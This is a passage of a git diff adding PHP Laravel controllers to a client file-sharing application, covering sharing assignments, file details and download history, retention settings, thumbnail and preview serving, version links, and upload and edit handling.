$category->id, 'name' => $category->name, 'color' => $category->color, + ])->values()->all(), + ]); + + return Inertia::render('clients/files', [ + 'client' => [ + 'id' => $client->id, + 'name' => $client->name, + 'email' => $client->email, + ], + 'files' => $files->items(), + 'pagination' => Pagination::meta($files), + 'search' => $search, + 'owner' => $owner, + ]); + } +} diff --git a/app/Modules/Files/Http/Controllers/Concerns/ResolvesShareTargets.php b/app/Modules/Files/Http/Controllers/Concerns/ResolvesShareTargets.php new file mode 100644 index 00000000..86cc7666 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/Concerns/ResolvesShareTargets.php @@ -0,0 +1,142 @@ +validate([ + 'type' => ['required', Rule::in(['client', 'group'])], + 'id' => ['required', 'integer'], + ]); + + [$assignable, $targetName] = $this->resolveTarget($validated['type'], (int) $validated['id'], $rejection); + $this->guardAssignable($request->user(), $assignable); + + return [$assignable, $targetName]; + } + + /** + * A revision has no recipients of its own — it inherits the ones set on + * the original it revises (File::sharingOwnerId), so writing an + * assignment row here would create a row every visibility query ignores + * and leave the two screens disagreeing about who has access. + * + * Refused rather than silently redirected onto the root: assigning the + * root is a bigger act than the caller asked for, since it reaches every + * other revision in the chain too. The message names the file to go to. + */ + private function guardFileOwnsItsSharing(File $file): void + { + if (! $file->isRevision()) { + return; + } + + $root = File::query()->find($file->sharingOwnerId()); + + throw ValidationException::withMessages([ + 'id' => $root === null + ? __('This file is a new version of another file, and is shared with the same people as that one.') + : __('This file is a new version of ":name". Manage sharing on ":name" instead — every version follows it.', ['name' => $root->name]), + ]); + } + + /** + * Who actually hears about a share: a group stands for its members. + * + * @return iterable + */ + private function shareRecipients(User|Group $assignable): iterable + { + return $assignable instanceof Group ? $assignable->members : [$assignable]; + } + + /** + * The value to write to, and match against, an assignment's + * assignable_type. + * + * getMorphClass() rather than ::class so that reads and writes cannot + * disagree: ShareTargets reads these rows back by morph class, and a + * morph map would make the two spellings different strings. + */ + private function assignableType(User|Group $assignable): string + { + return $assignable->getMorphClass(); + } + + /** + * A client-scoped staff member may only share with their own clients (or + * a group one of them belongs to). Applied when revoking too, so that + * reaching a subject through one of your own clients does not let you + * revoke somebody else's access to it. + */ + private function guardAssignable(?User $user, User|Group $assignable): void + { + if ($user === null) { + return; + } + + $allowed = $assignable instanceof Group + ? $this->scope->canAssignGroup($user, $assignable) + : $this->scope->canAssignClient($user, $assignable); + + if (! $allowed) { + throw ValidationException::withMessages(['id' => __('You can only share with the clients assigned to you.')]); + } + } + + /** + * @return array{0: User|Group, 1: string} + */ + private function resolveTarget(string $type, int $id, string $rejection): array + { + if ($type === 'client') { + $client = User::query()->find($id); + + if ($client === null || ! $client->isClient()) { + throw ValidationException::withMessages(['id' => $rejection]); + } + + return [$client, $client->name]; + } + + $group = Group::query()->find($id); + + if ($group === null) { + throw ValidationException::withMessages(['id' => $rejection]); + } + + return [$group, $group->name]; + } +} diff --git a/app/Modules/Files/Http/Controllers/FileAssignmentsController.php b/app/Modules/Files/Http/Controllers/FileAssignmentsController.php new file mode 100644 index 00000000..e821d5ac --- /dev/null +++ b/app/Modules/Files/Http/Controllers/FileAssignmentsController.php @@ -0,0 +1,54 @@ +guardFileOwnsItsSharing($file); + + [$assignable, $targetName] = $this->resolveRequestedTarget( + $request, + __('Files can only be assigned to clients or groups.'), + ); + + $this->sharing->assign($file, $assignable, $targetName); + + return back(); + } + + public function destroy(Request $request, File $file): RedirectResponse + { + Gate::authorize('update', $file); + $this->guardFileOwnsItsSharing($file); + + [$assignable, $targetName] = $this->resolveRequestedTarget( + $request, + __('Files can only be assigned to clients or groups.'), + ); + + $this->sharing->unassign($file, $assignable, $targetName); + + return back(); + } +} diff --git a/app/Modules/Files/Http/Controllers/FileDetailsController.php b/app/Modules/Files/Http/Controllers/FileDetailsController.php new file mode 100644 index 00000000..a841d93d --- /dev/null +++ b/app/Modules/Files/Http/Controllers/FileDetailsController.php @@ -0,0 +1,334 @@ +user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $file); + + return response()->json([ + 'type' => 'file', + 'id' => $file->id, + 'name' => $file->name, + 'description' => $file->description, + 'original_name' => $file->original_name, + 'size' => $file->size, + 'mime_type' => $file->mime_type, + 'checksum' => $file->checksum, + 'uploader' => $file->uploader?->name, + 'folder' => $file->folder?->only('id', 'name'), + 'categories' => $file->categories()->orderBy('name')->get() + ->map(fn (Category $category): array => ['id' => $category->id, 'name' => $category->name, 'color' => $category->color]) + ->values(), + 'created_at' => $file->created_at?->toIso8601String(), + + // The two rules that decide whether this file can still be + // taken. The panel is where someone looks to find out why a + // client says they cannot download something, so it has to + // answer that without sending them to the edit page. + 'expires_at' => $file->expires_at?->toIso8601String(), + 'expired' => $file->isExpired(), + 'download_limit' => $file->download_limit, + 'download_limit_scope' => ($file->download_limit_scope ?? DownloadLimitScope::Total)->value, + // The file's total downloads, whatever the scope. Under a + // per-user limit no single figure can stand for "used", so + // the panel presents this as the file's own count rather + // than as a share of anyone's allowance. + 'downloads_used' => $file->downloads()->count(), + // What *this* viewer has left, which is what the panel's own + // download button obeys. Not the same question as the row + // above: staff who did not upload the file are subject to + // its limit like anybody else. + 'download_allowance' => $this->allowance->summaryFor($file, $viewer), + + 'version' => $this->versionLinks->for($file, $viewer, fn (File $other): string => route('files.edit', $other, false)), + 'download_url' => route('files.download', $file, false), + 'edit_url' => route('files.edit', $file, false), + 'can_update' => Gate::forUser($viewer)->allows('update', $file), + 'can_view_activity' => $viewer->can('view_actions_log'), + // Whether the panel offers a Comments tab at all. False only + // when the install has commenting off, or this file falls + // outside the configured scope — existing comments on a file + // that has left the scope stay readable, so this stays true + // while there is anything to read. + 'comments_enabled' => $this->commenting->enabled(), + // Resolved from the chain root for a revision (ShareTargets + // does that), so this names who really has the file. The panel + // says where those recipients are set. + 'shares' => $this->shareTargets->assigned($file), + 'sharing_root' => $file->isRevision() + ? File::query()->find($file->sharingOwnerId())?->only('id', 'name') + : null, + // Read-only here: creating/revoking a public link is edited + // from the file's own edit page, not this info panel. + 'share_links' => $file->shareLinks()->orderByDesc('created_at')->get() + ->map(fn (ShareLink $link): array => [ + 'id' => $link->id, + 'url' => route('share.show', $link->token), + 'expires_at' => $link->expires_at?->toIso8601String(), + 'max_downloads' => $link->max_downloads, + 'downloads_count' => $link->downloads_count, + ])->values(), + ]); + } + + public function activity(Request $request, File $file): JsonResponse + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $file); + abort_unless($viewer->can('view_actions_log'), 403); + + $query = ActivityLog::query() + ->where('subject_type', $file->getMorphClass()) + ->where('subject_id', $file->id); + + $total = (clone $query)->count(); + + $entries = $query + ->orderByDesc('created_at')->orderByDesc('id') + ->limit(20)->get() + ->map(fn (ActivityLog $entry): array => $this->presenter->present($entry)); + + return response()->json(['entries' => $entries, 'total' => $total]); + } + + /** + * Full, paginated activity history for a file — the "View full + * history" destination linked from the details panel's Activity tab, + * which only shows the most recent 20 entries. + */ + public function activityHistory(Request $request, File $file): Response + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $file); + abort_unless($viewer->can('view_actions_log'), 403); + + return $this->renderHistory($file->getMorphClass(), $file->id, $file->name, route('files.edit', $file, false)); + } + + /** + * Who downloaded this file and how many times, grouped by actor, + * with each individual download's timestamp and IP address so the + * list can be expanded per person. + * + * Grouping happens in PHP (the group key mixes actor and link/public + * cases, not a single column), so it runs over the most recent + * DOWNLOADS_SUMMARY_LIMIT raw rows rather than the whole table — + * accurate for typical files, but a heavy downloader's count could + * undercount past that window. `total` is a true, unbounded count; + * the full unbounded per-row list lives at downloadsHistory(). + */ + public function downloads(Request $request, File $file): JsonResponse + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $file); + abort_unless($viewer->can('view_actions_log'), 403); + + $query = ActivityLog::query() + ->where('subject_type', $file->getMorphClass()) + ->where('subject_id', $file->id) + ->whereIn('action', [Action::FileDownloaded, Action::ShareLinkDownloaded, Action::PublicFileDownloaded]); + + $total = (clone $query)->count(); + + $entries = $query + ->orderByDesc('created_at') + ->orderByDesc('id') + ->limit(self::DOWNLOADS_SUMMARY_LIMIT) + ->get(); + + $downloaders = $entries + ->groupBy(function (ActivityLog $entry): string { + return match ($entry->action) { + Action::ShareLinkDownloaded => 'share_link', + Action::PublicFileDownloaded => 'public_listing', + default => $entry->actor_id !== null ? 'user:'.$entry->actor_id : 'deleted:'.$entry->actor_name, + }; + }) + ->map(function (Collection $group): array { + /** @var ActivityLog $first */ + $first = $group->first(); + $entry = $this->downloadPresenter->present($first); + + return [ + 'actor_id' => $first->actor_id, + 'actor_name' => $entry['actor_name'], + 'actor_type' => $entry['actor_type'], + 'count' => $group->count(), + 'downloads' => $group->map(fn (ActivityLog $entry): array => [ + 'created_at' => $entry->created_at->toIso8601String(), + 'ip_address' => $entry->ip_address, + ])->values(), + ]; + }) + ->sortByDesc('count') + ->values(); + + return response()->json(['downloaders' => $downloaders, 'total' => $total]); + } + + /** + * Full, paginated download history for a file — the flat, one-row- + * per-download counterpart to downloads() above, which only groups + * and caps for the details panel's Downloads tab. + */ + public function downloadsHistory(Request $request, File $file): Response + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $file); + abort_unless($viewer->can('view_actions_log'), 403); + + $entries = ActivityLog::query() + ->where('subject_type', $file->getMorphClass()) + ->where('subject_id', $file->id) + ->whereIn('action', [Action::FileDownloaded, Action::ShareLinkDownloaded, Action::PublicFileDownloaded]) + ->orderByDesc('created_at')->orderByDesc('id') + ->paginate(25) + ->withQueryString(); + + return Inertia::render('activity/downloads', [ + 'entries' => $entries->getCollection()->map(fn (ActivityLog $entry): array => $this->downloadPresenter->present($entry))->all(), + 'pagination' => [ + 'page' => $entries->currentPage(), + 'last_page' => $entries->lastPage(), + 'prev' => $entries->previousPageUrl(), + 'next' => $entries->nextPageUrl(), + 'total' => $entries->total(), + ], + 'subject_name' => $file->name, + 'back_url' => route('files.edit', $file, false), + ]); + } + + public function showFolder(Request $request, Folder $folder): JsonResponse + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $folder); + + return response()->json([ + 'type' => 'folder', + 'id' => $folder->id, + 'name' => $folder->name, + 'files_count' => $folder->files()->count(), + 'children_count' => $folder->children()->count(), + 'creator' => $folder->creator?->name, + 'created_at' => $folder->created_at?->toIso8601String(), + 'open_url' => route('files.index', ['folder' => $folder->id], false), + // Read-only here, same as a file's shares — sharing (and every + // other editable field) is changed from the folder's own edit + // page, not this info panel. + 'edit_url' => route('folders.share', $folder, false), + 'can_update' => Gate::forUser($viewer)->allows('update', $folder), + 'can_view_activity' => $viewer->can('view_actions_log'), + 'shares' => $this->shareTargets->assigned($folder), + ]); + } + + public function folderActivity(Request $request, Folder $folder): JsonResponse + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $folder); + abort_unless($viewer->can('view_actions_log'), 403); + + $query = ActivityLog::query() + ->where('subject_type', $folder->getMorphClass()) + ->where('subject_id', $folder->id); + + $total = (clone $query)->count(); + + $entries = $query + ->orderByDesc('created_at')->orderByDesc('id') + ->limit(20)->get() + ->map(fn (ActivityLog $entry): array => $this->presenter->present($entry)); + + return response()->json(['entries' => $entries, 'total' => $total]); + } + + /** + * Full, paginated activity history for a folder — same idea as + * activityHistory(), for the folder details panel. + */ + public function folderActivityHistory(Request $request, Folder $folder): Response + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('view', $folder); + abort_unless($viewer->can('view_actions_log'), 403); + + return $this->renderHistory($folder->getMorphClass(), $folder->id, $folder->name, route('files.index', ['folder' => $folder->id], false)); + } + + private function renderHistory(string $morphClass, int $subjectId, string $subjectName, string $backUrl): Response + { + $entries = ActivityLog::query() + ->where('subject_type', $morphClass) + ->where('subject_id', $subjectId) + ->orderByDesc('created_at')->orderByDesc('id') + ->paginate(25) + ->withQueryString(); + + return Inertia::render('activity/subject', [ + 'entries' => $entries->getCollection() + ->map(fn (ActivityLog $entry): array => $this->presenter->present($entry)) + ->all(), + 'pagination' => [ + 'page' => $entries->currentPage(), + 'last_page' => $entries->lastPage(), + 'prev' => $entries->previousPageUrl(), + 'next' => $entries->nextPageUrl(), + 'total' => $entries->total(), + ], + 'subject_name' => $subjectName, + 'back_url' => $backUrl, + ]); + } +} diff --git a/app/Modules/Files/Http/Controllers/FileDownloadController.php b/app/Modules/Files/Http/Controllers/FileDownloadController.php new file mode 100644 index 00000000..86b3292d --- /dev/null +++ b/app/Modules/Files/Http/Controllers/FileDownloadController.php @@ -0,0 +1,64 @@ +allowance->allows($file, $request->user()), 403); + + $this->activity->log(Action::FileDownloaded, subject: $file); + + if ($file->disk !== 'files') { + $url = Storage::disk($file->disk)->temporaryUrl( + $file->path, + now()->addHour(), + ['ResponseContentDisposition' => ContentDisposition::attachment($file->original_name)], + ); + + return redirect()->away($url); + } + + return response('', 200, [ + 'X-Accel-Redirect' => '/protected-files/'.$file->path, + 'Content-Type' => $file->mime_type, + 'Content-Disposition' => ContentDisposition::attachment($file->original_name), + 'Content-Length' => (string) $file->size, + ]); + } +} diff --git a/app/Modules/Files/Http/Controllers/FileRetentionSettingsController.php b/app/Modules/Files/Http/Controllers/FileRetentionSettingsController.php new file mode 100644 index 00000000..e7a24f31 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/FileRetentionSettingsController.php @@ -0,0 +1,73 @@ + $this->settings->get(Setting::ExpiredFilesAutoDeleteEnabled), + 'expired_files_delete_after_days' => $this->settings->get(Setting::ExpiredFilesDeleteAfterDays), + 'orphan_files_auto_delete_enabled' => $this->settings->get(Setting::OrphanFilesAutoDeleteEnabled), + 'orphan_files_delete_after_days' => $this->settings->get(Setting::OrphanFilesDeleteAfterDays), + // Orphan auto-delete only ever operates on the local disk — the + // frontend disables those two fields entirely while this is + // true, and update() below ignores changes to them for the + // same reason. + 'external_storage_active' => $this->externalStorage->isActive(), + ]); + } + + public function update(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'expired_files_auto_delete_enabled' => ['required', 'boolean'], + 'expired_files_delete_after_days' => ['required', 'integer', 'min:0'], + 'orphan_files_auto_delete_enabled' => ['required', 'boolean'], + 'orphan_files_delete_after_days' => ['required', 'integer', 'min:0'], + ]); + + $this->settings->set(Setting::ExpiredFilesAutoDeleteEnabled, $validated['expired_files_auto_delete_enabled']); + $this->settings->set(Setting::ExpiredFilesDeleteAfterDays, (int) $validated['expired_files_delete_after_days']); + + // Defense in depth matching the disabled UI: these two fields are + // hardcoded off while external storage is active (see + // PurgeOrphanFilesCommand), so a request reaching this endpoint + // directly can't change them either — leave whatever is already + // stored untouched, same "ignore it if not permitted right now" + // shape as FilesController::update()'s upload_public gate. + if (! $this->externalStorage->isActive()) { + $this->settings->set(Setting::OrphanFilesAutoDeleteEnabled, $validated['orphan_files_auto_delete_enabled']); + $this->settings->set(Setting::OrphanFilesDeleteAfterDays, (int) $validated['orphan_files_delete_after_days']); + } + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'file_retention']); + + return back(); + } +} diff --git a/app/Modules/Files/Http/Controllers/FileThumbnailController.php b/app/Modules/Files/Http/Controllers/FileThumbnailController.php new file mode 100644 index 00000000..3a57187c --- /dev/null +++ b/app/Modules/Files/Http/Controllers/FileThumbnailController.php @@ -0,0 +1,222 @@ +` + * for every row on every listing render, not a deliberate action, and + * logging it would flood the activity log with non-events. `preview()` + * logs Action::FilePreviewed, since a user explicitly chose to view the + * file's contents — a real, audit-worthy action, just not a "download." + * + * SECURITY: both methods serve bytes inline, from this app's own origin, + * with the File's stored mime type — so both are restricted to + * ThumbnailGenerator::SUPPORTED_MIME_TYPES, the raster formats this app + * renders itself. That list is the allowlist; nothing else is ever served + * inline. Do NOT widen it to text/html, image/svg+xml, or anything else a + * browser executes script from, and do not reach for the upload + * allowed-extensions setting as a substitute: that setting matches on the + * *extension*, while mime_type is detected from the *bytes* + * (ChunkedUploadsController::complete), so a .txt holding HTML is stored + * as text/html and would render as a page here. Serving a file inline as + * a type the browser executes is same-origin script execution with the + * viewer's session. + * + * Renditions always cache on the local "files" disk regardless of where + * the source file lives — they're a derived artifact, not the original, + * so there's no reason to push them to external storage too. Generating + * one from a source on a non-local disk needs a temp local copy first, + * since ThumbnailGenerator needs a real path to read from. + * + * Both methods cache one file per ImageAudience, because both routes are + * reached by the staff file manager and the client portal alike and a + * RenderingImage listener may render the two differently. + */ +class FileThumbnailController extends Controller +{ + public function __construct( + private readonly ThumbnailGenerator $thumbnails, + private readonly ActivityLogger $activity, + private readonly DownloadAllowance $allowance, + ) {} + + public function thumbnail(Request $request, File $file): Response + { + Gate::authorize('view', $file); + + // This one route serves both the staff file manager and the client + // portal — the same URL, told apart only by who is asking. A client + // and a staff member looking at the same file get different cached + // bytes; see ImageAudience. + $audience = ImageAudience::forViewer($request->user()); + + $path = $this->render($file, $audience, ImageRendition::Thumbnail); + + abort_if($path === null, 404); + + return $this->serve($file, $path); + } + + /** + * A file opened to be looked at. + * + * A preview is not the file — it is a rendered view of it, which is + * why it may be decorated at all. But rendering one is expensive + * (decoding and re-encoding a full-size photograph) where serving the + * stored bytes is nearly free, so core only pays that cost when a + * listener says this particular viewer must be served a rendering: + * ResolvingImageRendering asks, and defaults to no. On an + * installation that watermarks, a client gets a bounded, watermarked + * render and staff get the original; on one that does not, everyone + * gets exactly what this endpoint has always returned. + */ + public function preview(Request $request, File $file): Response|RedirectResponse + { + Gate::authorize('view', $file); + + // Only types this app renders itself may be served inline; anything + // else is a download, not a preview. See the class docblock — the + // stored mime type is sniffed from the bytes, so an allowed + // extension is not evidence of a safe-to-render payload. + abort_unless(ThumbnailGenerator::supports($file->mime_type), 404); + + // A preview is not counted as a download, but it is refused once + // the download limit is spent — because unless a listener asks + // for a rendering (nothing does by default), the branches below + // serve the *original bytes* at full size. Without this a cap + // would be one URL away from meaningless for every image on the + // install. thumbnail() needs no such guard: a 300px rendition is + // not the file. + abort_unless($this->allowance->allows($file, $request->user()), 403); + + $this->activity->log(Action::FilePreviewed, subject: $file); + + $audience = ImageAudience::forViewer($request->user()); + + $decision = new ResolvingImageRendering($audience, ImageRendition::Preview, $file->mime_type); + Event::dispatch($decision); + + if ($decision->required) { + $path = $this->render($file, $audience, ImageRendition::Preview); + + abort_if($path === null, 404); + + return $this->serve($file, $path); + } + + if ($file->disk !== 'files') { + $url = Storage::disk($file->disk)->temporaryUrl( + $file->path, + now()->addHour(), + ['ResponseContentDisposition' => ContentDisposition::inline($file->original_name)], + ); + + return redirect()->away($url); + } + + return response('', 200, [ + 'X-Accel-Redirect' => '/protected-files/'.$file->path, + 'Content-Type' => $file->mime_type, + 'Content-Disposition' => ContentDisposition::inline($file->original_name), + 'Content-Length' => (string) $file->size, + ]); + } + + /** + * The cached rendition's path on the local disk, generating it first + * if this is the first time anyone has asked for it. Null only when + * the mime type has no rendition at all. + */ + private function render(File $file, ImageAudience $audience, ImageRendition $rendition): ?string + { + $path = ThumbnailGenerator::pathFor($file->id, $file->mime_type, $audience, $rendition); + + if ($path === null) { + return null; + } + + $disk = Storage::disk('files'); + + if ($disk->exists($path)) { + return $path; + } + + $disk->makeDirectory(dirname($path)); + $sourcePath = $this->localSourcePathFor($file); + + try { + $this->thumbnails->generate($sourcePath, $disk->path($path), $file->mime_type, $audience, $rendition); + } finally { + if ($file->disk !== 'files') { + @unlink($sourcePath); + } + } + + return $path; + } + + private function serve(File $file, string $path): Response + { + return response('', 200, [ + 'X-Accel-Redirect' => '/protected-files/'.$path, + 'Content-Type' => $file->mime_type, + 'Content-Disposition' => ContentDisposition::inline($file->original_name), + ]); + } + + /** + * A local-disk file's real path (fast path). Anything else is + * stream-copied to a temp file first — the caller unlinks it once + * rendering is done. + */ + private function localSourcePathFor(File $file): string + { + if ($file->disk === 'files') { + return Storage::disk('files')->path($file->path); + } + + $tempPath = tempnam(sys_get_temp_dir(), 'thumb-src-'); + + if ($tempPath === false) { + throw new \RuntimeException('Could not create a temp file for '.$file->original_name); + } + + $stream = Storage::disk($file->disk)->readStream($file->path); + $out = fopen($tempPath, 'wb'); + + if ($stream === null || $out === false) { + throw new \RuntimeException('Could not read '.$file->original_name.' from its storage disk.'); + } + + stream_copy_to_stream($stream, $out); + fclose($out); + + if (is_resource($stream)) { + fclose($stream); + } + + return $tempPath; + } +} diff --git a/app/Modules/Files/Http/Controllers/FileVersionsController.php b/app/Modules/Files/Http/Controllers/FileVersionsController.php new file mode 100644 index 00000000..e2ac2596 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/FileVersionsController.php @@ -0,0 +1,123 @@ +update() on a model with + * $guarded = [], and putting a relationship that moves assignment rows and + * sends notifications behind a mass-assignment path is exactly the accident + * to avoid. Same reasoning that already gives move() its own route. + * + * Every rule lives in FileVersions, not here — the upload flow and the API + * reach the same seam, and none of the three may answer differently. + */ +class FileVersionsController extends Controller +{ + public function __construct( + private readonly FileVersions $versions, + private readonly ViewableFileScope $viewable, + ) {} + + /** + * Files this user may pick as $file's original. + * + * A JSON feed rather than a prop on the edit page (FileDetailsController + * is the precedent): a file library is unbounded, so serialising it into + * every file edit page is not an option, and searching past any + * truncation point needs a round trip anyway. + */ + public function candidates(Request $request, File $file): JsonResponse + { + Gate::authorize('setVersion', $file); + + $user = $request->user(); + assert($user !== null); + + $search = trim((string) $request->query('search', '')); + + $candidates = $this->versions->candidates($file, $user, $search) + ->map(fn (File $candidate): array => [ + 'id' => $candidate->id, + 'name' => $candidate->name, + 'original_name' => $candidate->original_name, + 'created_at' => $candidate->created_at?->toIso8601String(), + ])->values(); + + return response()->json(['files' => $candidates]); + } + + /** + * What linking to a given original would do to recipients, so the + * confirmation can say it before it happens. + */ + public function preview(Request $request, File $file): JsonResponse + { + Gate::authorize('setVersion', $file); + + $validated = $request->validate([ + 'previous_file_id' => ['required', 'integer'], + ]); + + $previous = $this->resolvePrevious($request, (int) $validated['previous_file_id']); + + return response()->json($this->versions->previewLink($file, $previous)->toArray()); + } + + public function store(Request $request, File $file): RedirectResponse + { + Gate::authorize('setVersion', $file); + + $validated = $request->validate([ + 'previous_file_id' => ['required', 'integer'], + ]); + + $user = $request->user(); + assert($user !== null); + + $previous = $this->resolvePrevious($request, (int) $validated['previous_file_id']); + + $this->versions->link($file, $previous, $user); + + return back()->with('success', __('This file is now marked as a new version of ":name".', ['name' => $previous->name])); + } + + public function destroy(Request $request, File $file): RedirectResponse + { + Gate::authorize('setVersion', $file); + + $user = $request->user(); + assert($user !== null); + + $this->versions->unlink($file, $user); + + return back()->with('success', __('Version link removed.')); + } + + /** + * 404 rather than 403 for a file outside the caller's reach: confirming + * that an id exists is itself information a client-scoped staffer is + * not entitled to. link() re-checks this through the policy, so this is + * the friendly failure, not the boundary. + */ + private function resolvePrevious(Request $request, int $id): File + { + $user = $request->user(); + assert($user !== null); + + return $this->viewable->for($user)->whereKey($id)->firstOrFail(); + } +} diff --git a/app/Modules/Files/Http/Controllers/FilesController.php b/app/Modules/Files/Http/Controllers/FilesController.php new file mode 100644 index 00000000..8ab8d8c9 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/FilesController.php @@ -0,0 +1,508 @@ +user(); + assert($user !== null); + + return Inertia::render('files/create', [ + 'max_file_size_mb' => app(Settings::class)->get(Setting::MaxFileSizeMb), + 'part_size_mb' => (int) config('projectsend.upload_part_size_mb'), + 'allowed_extensions' => app(UploadExtensionPolicy::class)->hintFor($user), + ]); + } + + public function store(Request $request): RedirectResponse + { + $validated = $request->validate([ + // Intake is a plain upload for now; the resumable + // direct-to-storage flow replaces this without touching the + // domain (brief §3, open question §12.1). + 'file' => ['required', 'file', 'max:102400'], + 'name' => ['nullable', 'string', 'max:255'], + 'description' => ['nullable', 'string', 'max:2000'], + 'folder_id' => ['nullable', 'integer', 'exists:folders,id'], + ]); + + /** @var UploadedFile $upload */ + $upload = $validated['file']; + + $maxMb = (int) app(Settings::class)->get(Setting::MaxFileSizeMb); + + if ($maxMb > 0 && (int) $upload->getSize() > $maxMb * 1024 * 1024) { + throw ValidationException::withMessages([ + 'file' => __('This file exceeds the maximum allowed size of :max MB.', ['max' => (string) $maxMb]), + ]); + } + + $user = $request->user(); + assert($user !== null); + + if (! app(UploadExtensionPolicy::class)->isAllowed($user, $upload->getClientOriginalName())) { + throw ValidationException::withMessages([ + 'file' => __('This file type is not allowed for upload.'), + ]); + } + + $diskEvent = new ResolvingUploadDisk($user); + Event::dispatch($diskEvent); + $disk = $diskEvent->disk; + + $path = $upload->storeAs( + now()->format('Y/m'), + Str::uuid()->toString().'.'.strtolower($upload->getClientOriginalExtension()), + $disk, + ); + + abort_unless(is_string($path), 500); + + $file = app(StoreUploadedFile::class)->create( + uploader: $user, + originalName: $upload->getClientOriginalName(), + path: $path, + mimeType: $upload->getMimeType() ?? 'application/octet-stream', + size: (int) $upload->getSize(), + checksum: hash_file('sha256', $upload->getRealPath()) ?: '', + name: $validated['name'] ?? null, + description: $validated['description'] ?? null, + folderId: $validated['folder_id'] ?? null, + disk: $disk, + ); + + return redirect()->route('files.edit', $file)->with('success', __('File uploaded.')); + } + + public function edit(Request $request, File $file): Response + { + $viewer = $request->user(); + assert($viewer !== null); + + Gate::forUser($viewer)->authorize('view', $file); + + // A revision's recipients belong to the file it revises, so the + // Sharing tab has to point at that file rather than offer controls + // that would be ignored. Resolved here (not in the page) because + // "can this staffer edit the original" is a policy question — the + // original may be a colleague's upload, or outside a scoped + // staffer's library, and linking to a page they'd get a 404 from is + // worse than saying so. + $sharingRoot = $file->isRevision() + ? File::query()->find($file->sharingOwnerId()) + : null; + + return Inertia::render('files/edit', [ + 'file' => [ + 'id' => $file->id, + 'name' => $file->name, + 'description' => $file->description, + 'original_name' => $file->original_name, + 'size' => $file->size, + 'mime_type' => $file->mime_type, + 'uploader' => $file->uploader?->name, + 'folder_id' => $file->folder_id, + 'public' => $file->public, + 'commentable' => $file->commentable, + 'slug' => $file->slug, + // The date picker's value, so it has to be the same + // calendar date the editor typed — read back in their + // zone, not the server's, or a file set to expire on the + // 12th reopens showing the 11th. + 'expires_at' => $file->expires_at?->copy()->setTimezone($this->timezones->resolve($request->user()))->toDateString(), + 'expired' => $file->isExpired(), + 'download_limit' => $file->download_limit, + 'download_limit_scope' => ($file->download_limit_scope ?? DownloadLimitScope::Total)->value, + // The file's total downloads, so the editor can see what + // a total limit is being measured against. A per-user + // limit is a different number for every person, which no + // single figure on this screen can show. + 'downloads_used' => $file->downloads()->count(), + 'public_url' => $file->isEffectivelyPublic() + ? $this->publicUrl->for($file) + : null, + 'public_via_folder' => $file->folder?->publicSourceName(), + 'created_at' => $file->created_at?->toIso8601String(), + 'is_revision' => $file->isRevision(), + 'version' => $this->versionLinks->for( + $file, + $viewer, + fn (File $other): string => route('files.edit', $other, false), + ), + ], + 'sharing_root' => $sharingRoot === null ? null : [ + 'id' => $sharingRoot->id, + 'name' => $sharingRoot->name, + 'url' => route('files.edit', $sharingRoot, false).'?tab=sharing', + ], + 'can_update_root' => $sharingRoot !== null && Gate::forUser($viewer)->allows('update', $sharingRoot), + 'can_set_version' => Gate::forUser($viewer)->allows('setVersion', $file), + 'version_chain' => $this->versions->chain($file, $viewer) + ->map(fn (File $member): array => [ + 'id' => $member->id, + 'name' => $member->name, + 'url' => route('files.edit', $member, false), + 'is_current' => $member->id === $file->id, + ])->values(), + 'folder_options' => Folder::query()->orderBy('path')->orderBy('name')->get() + ->map(fn (Folder $folder): array => ['id' => $folder->id, 'name' => $folder->name])->all(), + 'categories' => Category::query()->orderBy('name')->get(['id', 'name', 'color']) + ->map(fn (Category $category): array => ['id' => $category->id, 'name' => $category->name, 'color' => $category->color])->all(), + 'assigned_category_ids' => $file->categories()->pluck('categories.id')->map(fn ($id): int => (int) $id)->all(), + 'can_set_categories' => $viewer->can('set_file_categories'), + 'can_update' => Gate::forUser($viewer)->allows('update', $file), + 'can_delete' => Gate::forUser($viewer)->allows('delete', $file), + 'can_manage_public' => $viewer->can('upload_public'), + // The per-file switch only does anything while the comment + // scope is `selected`; under every other value the page hides + // it rather than offer a control with no current effect. + 'can_set_commentable' => $this->commenting->scope() === CommentScope::SelectedFiles, + // The file's own page carries the conversation too, not just + // the library's slide-over — it is where the activity log's + // "View" link and a comment notification both land. + 'comments_enabled' => $this->commenting->enabled(), + ...$this->shareTargets->forSubject($file, $viewer), + 'share_links' => $file->shareLinks()->orderByDesc('created_at')->get() + ->map(fn (ShareLink $link): array => [ + 'id' => $link->id, + 'url' => route('share.show', $link->token), + 'expires_at' => $link->expires_at?->toIso8601String(), + 'max_downloads' => $link->max_downloads, + 'downloads_count' => $link->downloads_count, + 'revoke_url' => route('share-links.destroy', $link, false), + ])->values(), + 'share_link_store_url' => route('files.share-links.store', $file, false), + 'can_set_expiration' => $viewer->can('set_file_expiration_date'), + 'can_limit_downloads' => $viewer->can('limit_downloads'), + ]); + } + + public function update(Request $request, File $file): RedirectResponse + { + Gate::authorize('update', $file); + + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + 'description' => ['nullable', 'string', 'max:2000'], + 'folder_id' => ['nullable', 'integer', 'exists:folders,id'], + 'public' => ['sometimes', 'boolean'], + 'commentable' => ['sometimes', 'boolean'], + // The slug only matters (and is only shown) once a file is + // public — otherwise fall back to one derived from the name. + 'slug' => Rules::slug('files', $file->id), + 'categories' => ['array'], + 'categories.*' => ['integer', 'exists:categories,id'], + 'expires_at' => ['nullable', 'date'], + 'download_limit' => ['nullable', 'integer', 'min:1'], + 'download_limit_scope' => ['nullable', Rule::enum(DownloadLimitScope::class)], + ]); + + $attributes = [ + 'name' => 